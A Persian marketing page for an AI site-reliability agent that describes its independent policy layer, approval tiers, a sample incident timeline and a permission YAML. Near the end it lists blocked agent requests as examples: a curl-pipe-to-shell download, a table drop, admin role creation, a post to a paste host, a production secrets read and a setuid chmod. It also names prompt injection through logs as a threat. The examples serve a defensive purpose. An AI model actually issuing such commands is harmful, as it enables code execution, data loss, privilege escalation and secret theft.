SRE هوشمند یک اپراتور مبتنی بر هوش مصنوعی برای مدیریت و نگهداری زیرساخت است. این سامانه رخداد‌ها را بررسی میکند، انتشار نسخه‌ها را مدیریت میکند، در صورت نیاز تغییرات را بازمیگرداند و بهصورت شبانهروزی وضعیت سلامت سیستم‌ها را زیر نظر می‌گیرد. هر اقدام پیش از اجرا از یک لایه مستقل اعمال سیاست عبور میکند؛ لایهای که خارج از دسترس مدل قرار دارد. به این ترتیب، عامل هوشمند میتواند عملیات واقعی انجام دهد، بدون اینکه کنترل دسترسیها یا اعتبارنامه‌های زیرساخت را در اختیار داشته باشد.
p95
۲۸۰ میلی‌ثانیه
تأخیر p95 بالا‌تر از آستانه
علت احتمالی پیدا شد
نسخه ۴٫۱۲ اندازه استخر اتصال پایگاه داده را از ۵۰ به ۱۰ کاهش داده است.
بازگردانی به نسخه ۴٫۱۱؟
برگشتپذیر · معیار موفقیت: p95 کم‌تر از ۳۰۰ میلی‌ثانیه
02:14
آنکال
عملیات زیرساخت، محدود به ساعات اداری نیست.
محیط عملیاتی منتظر شروع ساعت کاری نمی‌ماند. هشدار‌ها ممکن است نیمه‌شب فعال شوند، انتشار‌های آخر هفته باعث اختلال شوند و مهندس آنکال ناچار باشد بخش زیادی از زمان اولیه را صرف شناسایی تغییرات اخیر کند.
SRE هوشمند بررسی اولیه حادثه و بخش زیادی از فرایند پاسخگویی را بر عهده می‌گیرد. لاگها و متریکها را تحلیل میکند، ارتباط میان اختلال و تغییرات اخیر را پیدا میکند، راهکار اصلاحی پیشنهاد میدهد و در صورت مجاز بودن طبق سیاست‌های تعریف‌شده، آن را اجرا میکند.
پس از اجرا نیز وضعیت سیستم را بررسی میکند تا از بازگشت سرویس به حالت پایدار مطمئن شود. در موارد حساستر، شواهد و پیشنهاد‌های لازم را آماده میکند و تصمیم‌گیری را به فرد مسئول می‌سپارد.
دادن دسترسی عملیاتی و مجموعه‌ای از دستورالعمل‌ها به یک عامل هوش مصنوعی، به‌تنهایی یک مدل امنیتی قابل اتکا ایجاد نمی‌کند. مدل ممکن است دستورالعمل‌ها را اشتباه تفسیر کند، آنها را نادیده بگیرد یا تحت تأثیر دادههای مخرب قرار بگیرد.
SRE هوشمند وظیفه تحلیل و اجرا را از کنترل دسترسی جدا میکند. عامل هوشمند شواهد را بررسی میکند، برنامه عملیاتی می‌سازد و پیشنهاد میدهد؛ اما یک لایه مستقل و خارج از دسترس مدل، مشخص میکند چه فایل‌هایی قابل خواندن هستند، دسترسی به کدام سیستم‌ها مجاز است، چه دستور‌هایی امکان اجرا دارند و کدام تغییر‌ها به تأیید انسان نیاز دارند.
عامل میتواند درخواست دسترسی بیشتر ثبت کند، اما امکان اعطای دسترسی به خودش را ندارد.
نتیجه، خودکارسازی کنترل‌شد‌های است که اقدامات روتین و برگشتپذیر را سریع انجام میدهد و برای عملیات حساس یا پرریسک، تأیید انسانی را در نظر می‌گیرد.
قاعده منطبق
ابزار فقط خواندنی: همیشه مجاز
درخواست‌های عامل
یک درخواست را انتخاب کنید تا ببینید لایه سیاست چگونه تصمیم می‌گیرد.
دسترسیها، ارتباطات شبکه و اعتبارنامهها توسط لایهای مستقل کنترل می‌شوند که عامل امکان تغییر آن را ندارد.
اقدامات روتین در محدوده‌ای مشخص و قابل بازگشت اجرا می‌شوند؛ تغییرات حساس و برگشت‌ناپذیر به تأیید انسان نیاز دارند.
مشاهده‌ها، تصمیم‌ها و تغییرات در گزارش‌هایی ثبت می‌شوند که عامل امکان دستکاری آنها را ندارد.
امنیت SRE هوشمند به یک کنترل واحد وابسته نیست. هر تغییر باید از پنج لایه مستقل عبور کند و پس از اجرا نیز تحت پایش قرار بگیرد.
لایه ۰۱
استدلال
مدل
محیط عملیاتی
عامل هوشمند رخداد‌ها را بررسی میکند، دادههای پایش را می‌خواند، تغییرات موردنیاز را تحلیل میکند و راهکار اصلاحی پیشنهاد میدهد. این پیشنهاد‌ها معمولاً به شکل یک Pull Request همراه با توضیحات و استدلال ارائه می‌شوند. عامل در جمع‌آوری و تطبیق سریع شواهد نقش دارد، اما تصمیم‌گیری درباره مجاز بودن اقدامات امنیتی به آن واگذار نمیشود.
عامل در محیطی ایزوله اجرا میشود که دسترسی آن به فایل‌ها، فراخوانی‌های سیستمی و شبکه محدود شده است. سیاست شبکه بر اساس اصل منع پیشفرض تنظیم میشود و اعتبارنامهها برای هر اقدام بهصورت جداگانه صادر می‌شوند. ابزارهای عامل نیز به دو دسته تقسیم شده‌اند: ابزارهای فقط خواندنی برای بررسی و ابزارهای تغییر که در فهرست مجاز صریح قرار دارند. به این ترتیب، عامل به رمز‌های قابل استفاده مجدد محیط عملیاتی دسترسی مستقیم ندارد.
پیش از انتشار هر تغییر، مجموعه‌ای از بررسی‌های فنی و امنیتی روی آن اجرا میشود. این بررسی‌ها شامل آزمونها، اسکن آسیب‌پذیری و اطلاعات محرمانه، سیاست‌های زیرساخت و قواعد تأیید هستند. هر فراخوانی ابزار نیز پیش از اجرا بررسی میشود: مسیر‌ها، دستور‌ها و مقصد‌های مجاز و بازه امن مقادیری مانند اندازه استخر اتصال. این کنترلها بهصورت قطعی اجرا می‌شوند و امکان عبور از آنها با تغییر پرامپت وجود ندارد.
تغییرات تأیید‌شده از همان خط انتشار موجود سازمان عبور می‌کنند و از مسیر جداگانه یا درِ پشتی برای اعمال تغییرات استفاده نمیشود. سیاست‌های پذیرش کلاستر نیز به‌عنوان یک کنترل نهایی، تغییرات مغایر با الزامات اجباری را رد می‌کنند.
پس از اجرای هر تغییر، عامل وضعیت سلامت سرویس، نرخ خطا و نشانه‌های امنیتی را بررسی میکند. اگر نتیجه با وضعیت مورد انتظار مطابقت نداشته باشد، تغییر طبق سیاست تعریف‌شده بازگردانده میشود و اطلاعات جدید به پرونده حادثه اضافه می‌شوند.
نقشه کامل مسیر در یک نگاه. عامل در فضای عملیاتی خودش استدلال میکند و فقط از طریق ابزارهای خواندنی به داده‌ها دسترسی دارد. هر تغییر، پیش از رسیدن به محیط عملیاتی، باید از لایه سیاستی عبور کند که خارج از دسترس عامل است. بین دو مرحله جابهجا شوید تا هر مسیر را دنبال کنید و روی هر بخش بزنید تا نقش آن را ببینید.
مسیر فقط خواندنی: از هشدار تا علت ریشهای و برنامه اصلاح.
عامل حادثه را می‌خواند، برای بررسی برنامه‌ریزی میکند، ابزار‌ها را فراخوانی میکند، یافته‌ها را با هم تطبیق میدهد و علت ریشهای و برنامه اصلاح را می‌نویسد. عامل استدلال و پیشنهاد میکند؛ اما هیچگاه اعتبارنامه محیط عملیاتی را در اختیار ندارد.
معماری مرجع ساده‌شده. اتصال‌ها و محل استقرار هر بخش برای هر محیط و روی زیرساخت خود شما پیکربندی می‌شوند.
به‌محض دریافت هشدار، عامل هوشمند بررسی را آغاز میکند؛ پیش از آنکه تیم فنی وارد فرایند پاسخگویی شود. اطلاعات مرتبط را جمع‌آوری میکند، آنها را با تغییرات اخیر زیرساخت تطبیق میدهد و گزارشی از یافته‌ها تهیه میکند. به این ترتیب، تیم فنی به‌جای شروع بررسی از یک داشبورد خالی، با مجموعه‌ای از شواهد و تحلیل اولیه روبهرو میشود.
اطلاعات پایش با نسخه‌های منتشر‌شده و تغییرات پیکربندی مقایسه می‌شوند تا ارتباط احتمالی آنها با حادثه مشخص شود.
بازگردانی‌های محدود و برگشتپذیر می‌توانند بهصورت خودکار انجام شوند؛ اقدامات حساستر تا زمان دریافت تأیید در انتظار میمانند.
خط زمانی حادثه، شواهد جمع‌آوری‌شده و تصمیم‌های اتخاذ‌شده برای بررسی و تحلیل پس از حادثه ثبت می‌شوند.
نمونه فرایند بررسی
هشدار
سرویس پرداخت در محیط عملیاتی با نرخ خطای ۱۸ درصد مواجه شده است؛ درحالی‌که آستانه مجاز ۲ درصد است. این وضعیت به مدت ۶ دقیقه ادامه داشته و تأخیر صدک ۹۵ از ۲۱۰ میلی‌ثانیه به ۲٫۴ ثانیه رسیده است. زمان شروع حادثه: ۰۲:۱۴
بررسی و شناسایی علت
نسخه ۴٫۱۲ سرویس پرداخت در ساعت ۰۲:۰۹، پنج دقیقه پیش از شروع خطا‌ها، منتشر شده است. در این نسخه، اندازه استخر اتصال پایگاه داده برای هر نمونه از ۵۰ به ۱۰ کاهش یافته است.
شواهد بررسی:
برنامه اصلاح:
وضعیت: بررسی فقط با دسترسی خواندنی انجام شده است. تا زمانی که سیاست اجازه ندهد، هیچ تغییری اجرا نمیشود.
این نمونه، نحوه تحلیل یک حادثه را نشان میدهد. اجرای انتشار یا بازگردانی در محیط عملیاتی به سیاست خودکارسازی تعریف‌شده توسط سازمان بستگی دارد.
همان حادثه سرویس پرداخت، از اولین هشدار تا گزارش پس از حادثه. بررسی با ابزارهای فقط خواندنی انجام میشود و تا زمانی که سیاست اجازه ندهد و در صورت لزوم مهندس تأیید نکند، هیچ چیزی در محیط عملیاتی تغییر نمی‌کند.
مرحله 12 / 12
02:25:00پیشنویس گزارش پس از حادثه از روی خط زمانی ثبتشده نوشته میشود و برای بررسی تیم به حادثه پیوست میشود.
پیشنویس گزارش پس از حادثه · سرویس پرداخت
خلاصه: نسخه ۴٫۱۲ اندازه استخر اتصال پایگاه داده را برای هر نمونه از ۵۰ به ۱۰ کاهش داد و اتصال‌ها در بار عادی تمام شدند. پس از تأیید، سرویس به نسخه ۴٫۱۱ بازگردانده شد و در ساعت ۰۲:۲۴ بازیابی شد.
علت ریشهای: تغییری در پیکربندی که هیچ آزمون یا بازبینیای آن را شناسایی نکرد.
اقدامات پیگیری
خط زمانی نمونه. اینکه کدام مراحل بهصورت خودکار اجرا شوند، به سیاست تعیین‌شده توسط سازمان شما بستگی دارد.
همه عملیات زیرساختی به یک سطح از اعتماد نیاز ندارند. SRE هوشمند با سیاستی محافظهکارانه شروع میکند و میان اقدامات روتین و برگشتپذیر و تغییرات حساس و پرریسک تفاوت قائل میشود. شما تعیین می‌کنید هر اقدام در چه شرایطی خودکار انجام شود، کدام اقدامات به تأیید نیاز داشته باشند و کدام عملیات هرگز به عامل واگذار نشوند.
اقدامات روتین و برگشتپذیر در محدوده مجاز خودکار انجام می‌شوند؛ تغییرات حساس به تأیید نیاز دارند.
خودکار
4خودکار، در صورت محدود و برگشتپذیر بودن
2نیازمند بررسی سیاست و تأیید
4هرگز بهصورت خودکار
2
# stage: defaultactions: logs.read: auto release.investigate: auto pr.open: auto checks.run: auto service.restart: auto # bounded service.scale: auto # bounded deploy.production: approval # on-call iam.change: approval # on-call firewall.change: approval # on-call resource.publish: approval # on-call data.delete: deny # locked security.disable: deny # lockedبا اثبات مکرر ایمن بودن یک اقدام، می‌توان شرایط خودکارسازی آن را با محدودیت‌های سختگیرانهتر بازبینی کرد. با این حال، عامل در هیچ شرایطی اجازه ندارد دسترسی‌های خودش را تغییر دهد، لایه محافظتی را غیرفعال کند یا برای خود اعتبارنامه محیط عملیاتی صادر کند.
قابلیت‌های محصول ممکن است در آینده گسترش پیدا کنند، اما اصول امنیتی آن ثابت میمانند. این اصول مشخص می‌کنند چگونه می‌توان بخشی از عملیات زیرساخت را به یک عامل هوش مصنوعی سپرد، بدون اینکه کنترل محیط عملیاتی از دست سازمان خارج شود.
سپردن حفاظت از دسترسیها به همان عاملی که باید تحت نظارت باشد، یک نقطه ضعف امنیتی ایجاد میکند. در SRE هوشمند، مدیریت دسترسیها در لایهای مستقل انجام میشود که عامل میتواند از سیاست‌های آن اطلاع داشته باشد، اما امکان تغییرشان را ندارد.
عامل میتواند انتشار جدیدی پیشنهاد دهد، اما نمی‌تواند باعث پذیرش تغییری شود که یکی از قواعد اجباری را نقض میکند.
این جدا‌سازی در برابر تهدید‌هایی مانند تزریق پرامپت در لاگها، پاسخ آلوده ابزار‌ها و تلاش برای ارتقای سطح دسترسی نیز نقش حفاظتی دارد.
اقدامات روتین و برگشتپذیر می‌توانند در محدوده سیاست‌های تعریف‌شده بهصورت خودکار اجرا شوند. در مقابل، تغییرات حساس، پرریسک یا برگشت‌ناپذیر نیازمند بررسی و تأیید انسانی هستند.
مشاهده‌ها، تحلیل‌ها، تصمیم‌ها، تأیید‌ها و تغییرات در سوابق ممیزی ثبت می‌شوند. این اطلاعات امکان بررسی عملکرد عامل و بازسازی دقیق روند هر حادثه را فراهم می‌کنند.
SRE هوشمند مجموعه‌ای از قابلیت‌ها را برای بررسی رخداد‌ها، مدیریت انتشار، خودکارسازی عملیات روزمره و نظارت بر وضعیت امنیتی زیرساخت فراهم میکند؛ با رعایت همان سیاست‌هایی که تیم فنی سازمان تعریف کرده است.
عامل هوشمند هشدار‌ها را دریافت میکند، لاگها، متریکها و ردگیری‌ها را بررسی میکند و ارتباط احتمالی اختلال را با انتشار‌ها یا تغییرات پیکربندی اخیر شناسایی میکند.
انتشار نسخه‌ها از طریق خط انتشار موجود سازمان انجام میشود و عامل بر روند آنها نظارت میکند. در صورت بروز اختلال پس از انتشار، امکان بازگردانی مطابق سیاست‌های تعریف‌شده وجود دارد.
اقدامات تکراری و کمریسک که معمولاً به مداخله دستی نیاز دارند، می‌توانند در محدوده اختیارات تعیین‌شده خودکار شوند.
اصلاحات دائمی بهصورت Pull Request ارائه می‌شوند و همراه با توضیحات، آزمونها و ارزیابی ریسک در اختیار تیم فنی قرار می‌گیرند.
عامل با ترسیم نقش‌های از سرویس‌ها، هویت‌ها، سیاستها و ارتباط میان آنها، وضعیت امنیتی زیرساخت را بررسی میکند و مسیر‌های احتمالی دسترسی غیرمجاز را شناسایی میکند.
محیط‌های زیرساختی بهصورت دوره‌ای با سیاست‌های تعریف‌شده سازمان مقایسه می‌شوند. همچنین یافته‌های مربوط به آسیب‌پذیری‌ها می‌توانند به برنامهای برای بررسی و اعمال وصله‌ها تبدیل شوند.
کلاستر‌ها و سرور‌های معمولی از یک بستر مدیریتی قابل کنترل هستند و می‌توان برای هر تیم، برنامه و محیط سیاست‌های جداگانه تعریف کرد.
تمام اقدامات عامل همراه با استدلال و تأییدهای مربوط ثبت می‌شوند. همچنین گزارش حادثه بر اساس خط زمانی و اطلاعات ثبتشده تهیه میشود.
SRE هوشمند محصول اختصاصی فلوبیت است که بهصورت داخلی توسعه داده شده است. عامل هوشمند، لایه سیاست‌گذاری و سیستم گزارش ممیزی را فلوبیت طراحی و پیاده‌سازی کرده است؛ اما انتخاب موتور هوش مصنوعی با شماست.
سه حالت استقرار دارید: لوکال (اجرا با مدل‌های متنباز روی زیرساخت خودتان)، ابری (اتصال به ارائه‌دهنده‌های مدل ابری) و ترکیبی (انتخاب نوع استقرار برای هر محیط بهصورت جداگانه). در هر سه حالت، لایه سیاست‌گذاری مستقل از مدل عمل میکند؛ بنابراین تغییر مدل هیچ تأثیری بر سطح دسترسی و اختیارات عامل نخواهد داشت.
عامل را روی سختافزار و زیرساخت خودتان، با استفاده از مدل‌های متنباز اجرا کنید. دادههای پایش، کد‌ها و اطلاعات اعتبارنامه در شبکه داخلی شما باقی میمانند.
برای بهره‌مندی از توان استدلال مدل‌های ابری، ارائه‌دهنده موردنظر خود را متصل کنید. تمام درخواست‌ها همچنان از دروازههای سیاست‌گذاری عبور می‌کنند و تحت کنترل باقی میمانند.
برای هر محیط می‌توانید نوع استقرار جداگانه‌ای انتخاب کنید؛ مثلاً یک محیط با مدل لوکال و محیط دیگر با مدل ابری. سیاستها در هر دو حالت یکسان اعمال می‌شوند.
موتور‌های لوکال
اجرای مدل‌های متنباز روی ماشین‌های اختصاصی شما
دسترسی به مدل‌های متنباز و اکوسیستم Hugging Face
ارائهدهندگان ابری
مدل‌های Claude
مدل‌های GPT
مدل‌های Gemini
مدل‌های Grok
مدل‌های DeepSeek
مدل‌های Kimi
امکان پشتیبانی از ارائهدهندگان دیگر نیز وجود دارد.
یک عامل، با امکان انتخاب موتور‌های مختلف. مدل هوش مصنوعی را هر زمان که بخواهید تغییر دهید، بدون نیاز به تغییر در سیاستها و سطح دسترسیها.
SRE هوشمند با سیستم‌عامل‌های متداول سروری سازگار است؛ از جمله سیستم‌عامل‌هایی که در ایمیج‌های ماشین‌های مجازی ارائهدهندگان بزرگ ابری در دسترس هستند. از یک نقطه، زیرساخت‌های ترکیبی خود را مدیریت کنید؛ چه روی سرویس‌های ابری مستقر باشند و چه در دیتاسنتر اختصاصی شما.
نسخه‌های LTS سرور
نسخه‌های پایدار
توزیع لینوکس سازمانی
سیستم‌عامل سروری AWS
سیستم‌عامل سروری سازمانی
توزیع سازگار با اکوسیستم لینوکس سازمانی
قابل استفاده روی Oracle Cloud و زیرساخت‌های داخلی
محیط‌های ویندوزی ابری و درونسازمانی
این فهرست شامل نمونه‌هایی از سیستم‌عامل‌های پشتیبانی‌شده است. برای اطلاع از سازگاری با سایر سیستم‌عامل‌ها، با تیم ما تماس بگیرید.
SRE هوشمند پایش و بررسی‌های روتین زیرساخت را بهصورت پیوسته انجام میدهد تا تیم فنی بتواند زمان بیشتری را صرف مسائل پیچیده و تصمیم‌هایی کند که به تخصص و قضاوت انسانی نیاز دارند.
یک روز از عملیات
۱۵:۳۰نرخ خطا، تأخیر و میزان استفاده از منابع با مقادیر مبنا و وضعیت مورد انتظار هر سرویس مقایسه می‌شوند.
کنترل زمان‌بندی و محدودیت‌ها: سازمان میتواند زمان‌بندی‌ها و محدودیت‌های اجرایی را برای هر محیط تعیین کند. هیچیک از این تنظیمات امکان گسترش اختیارات خود عامل را فراهم نمی‌کنند.
SRE هوشمند برای اتصال به زیرساخت و ابزارهای موجود سازمان طراحی شده است. نحوه اتصال و پیکربندی آن متناسب با معماری و نیاز‌های هر محیط انجام میشود.
مدیریت انتشار نسخه‌ها، تغییر مقیاس، بازگردانی و سیاست‌های پذیرش کلاستر.
مدیریت سرویس‌ها، بررسی لاگها و پایش سلامت ماشین‌های مجازی و سرور‌های معمولی.
اتصال به فرایند‌های فعلی ساخت، آزمون و انتشار نرمافزار.
ارائه اصلاحات در قالب Pull Request برای بررسی و تأیید تیم توسعه.
مدیریت انتشار نسخه‌ها، تغییر مقیاس، بازگردانی و سیاست‌های پذیرش کلاستر.
مدیریت سرویس‌ها، بررسی لاگها و پایش سلامت ماشین‌های مجازی و سرور‌های معمولی.
اتصال به فرایند‌های فعلی ساخت، آزمون و انتشار نرمافزار.
ارائه اصلاحات در قالب Pull Request برای بررسی و تأیید تیم توسعه.
مدیریت انتشار نسخه‌ها، تغییر مقیاس، بازگردانی و سیاست‌های پذیرش کلاستر.
مدیریت سرویس‌ها، بررسی لاگها و پایش سلامت ماشین‌های مجازی و سرور‌های معمولی.
اتصال به فرایند‌های فعلی ساخت، آزمون و انتشار نرمافزار.
ارائه اصلاحات در قالب Pull Request برای بررسی و تأیید تیم توسعه.
مدیریت انتشار نسخه‌ها، تغییر مقیاس، بازگردانی و سیاست‌های پذیرش کلاستر.
مدیریت سرویس‌ها، بررسی لاگها و پایش سلامت ماشین‌های مجازی و سرور‌های معمولی.
اتصال به فرایند‌های فعلی ساخت، آزمون و انتشار نرمافزار.
ارائه اصلاحات در قالب Pull Request برای بررسی و تأیید تیم توسعه.
استفاده از متریکها، لاگها و ردگیری‌ها به‌عنوان شواهد تصمیم‌گیری و بررسی رخداد‌ها؛ از طریق اتصال خصوصی و با دسترسی فقط خواندنی.
دریافت هشدار‌های امضا‌شده از هر ابزاری که وبهوک ارسال میکند، ارسال وضعیت و ارائه خلاصه اطلاعات حادثه.
امکان استقرار و اتصال به ابر عمومی، ابر خصوصی یا دیتاسنتر اختصاصی سازمان.
رشته گفت‌وگوی حادثه در گفت‌وگوی تیمی با یافته‌ها، برنامه پیشنهادی و درخواست‌های تأیید، و ارسال گزارش در ابزارهای تیکتینگ.
استفاده از متریکها، لاگها و ردگیری‌ها به‌عنوان شواهد تصمیم‌گیری و بررسی رخداد‌ها؛ از طریق اتصال خصوصی و با دسترسی فقط خواندنی.
دریافت هشدار‌های امضا‌شده از هر ابزاری که وبهوک ارسال میکند، ارسال وضعیت و ارائه خلاصه اطلاعات حادثه.
امکان استقرار و اتصال به ابر عمومی، ابر خصوصی یا دیتاسنتر اختصاصی سازمان.
رشته گفت‌وگوی حادثه در گفت‌وگوی تیمی با یافته‌ها، برنامه پیشنهادی و درخواست‌های تأیید، و ارسال گزارش در ابزارهای تیکتینگ.
استفاده از متریکها، لاگها و ردگیری‌ها به‌عنوان شواهد تصمیم‌گیری و بررسی رخداد‌ها؛ از طریق اتصال خصوصی و با دسترسی فقط خواندنی.
دریافت هشدار‌های امضا‌شده از هر ابزاری که وبهوک ارسال میکند، ارسال وضعیت و ارائه خلاصه اطلاعات حادثه.
امکان استقرار و اتصال به ابر عمومی، ابر خصوصی یا دیتاسنتر اختصاصی سازمان.
رشته گفت‌وگوی حادثه در گفت‌وگوی تیمی با یافته‌ها، برنامه پیشنهادی و درخواست‌های تأیید، و ارسال گزارش در ابزارهای تیکتینگ.
استفاده از متریکها، لاگها و ردگیری‌ها به‌عنوان شواهد تصمیم‌گیری و بررسی رخداد‌ها؛ از طریق اتصال خصوصی و با دسترسی فقط خواندنی.
دریافت هشدار‌های امضا‌شده از هر ابزاری که وبهوک ارسال میکند، ارسال وضعیت و ارائه خلاصه اطلاعات حادثه.
امکان استقرار و اتصال به ابر عمومی، ابر خصوصی یا دیتاسنتر اختصاصی سازمان.
رشته گفت‌وگوی حادثه در گفت‌وگوی تیمی با یافته‌ها، برنامه پیشنهادی و درخواست‌های تأیید، و ارسال گزارش در ابزارهای تیکتینگ.
عاملی که به زیرساخت عملیاتی دسترسی دارد، میتواند در معرض تهدید‌هایی قرار بگیرد که در سیستم‌های نرمافزاری معمولی کم‌تر دیده می‌شوند. معماری امنیتی SRE هوشمند با در نظر گرفتن این ریسک‌ها، دسترسیها و اقدامات عامل را از طریق لایهای مستقل کنترل میکند.
درخواست عامل
agent → exec("curl -s x.sh | sh")پیش از اجرا مسدود و ثبت شد
دستور‌های مخفی‌شده در لاگها، تیکت‌ها یا صفحات وب نمی‌توانند سطح دسترسی و اختیارات عامل را تغییر دهند.
درخواست عامل
agent → db.drop(table="payments")پیش از اجرا مسدود و ثبت شد
هر درخواست اجرای ابزار پیش از انجام، با سیاست‌های امنیتی بررسی میشود؛ نه پس از اجرای آن.
درخواست عامل
agent → iam.create_role("admin")پیش از اجرا مسدود و ثبت شد
عامل نمی‌تواند برای خود نقش، اعتبارنامه یا دسترسی عملیاتی جدید ایجاد کند.
درخواست عامل
agent → http.post("paste.example.net")پیش از اجرا مسدود و ثبت شد
دسترسی شبکه به مقصد‌های خارجی در حالت پیشفرض مسدود است و تنها مقصد‌های مجاز امکان دسترسی دارند.
درخواست عامل
agent → secrets.read("prod/*")پیش از اجرا مسدود و ثبت شد
اعتبارنامهها برای هر اقدام بهصورت جداگانه صادر می‌شوند و در محلی که عامل امکان خواندن آنها را داشته باشد نگهداری نمی‌شوند.
درخواست عامل
agent → sh -c "chmod +s /bin/bash"پیش از اجرا مسدود و ثبت شد
دستور‌ها در محیطی ایزوله اجرا می‌شوند که دسترسی فایل‌ها و فراخوانی‌های سیستمی در آن محدود شده است.
flowbit روی کنترلهای امنیتی، حریم خصوصی و ابری اجرا میشود که بهطور مستقل ممیزی شده‌اند — تا اپ‌ها و دادههای شما مطابق استانداردهایی باشند که مشتریانتان انتظار دارند.
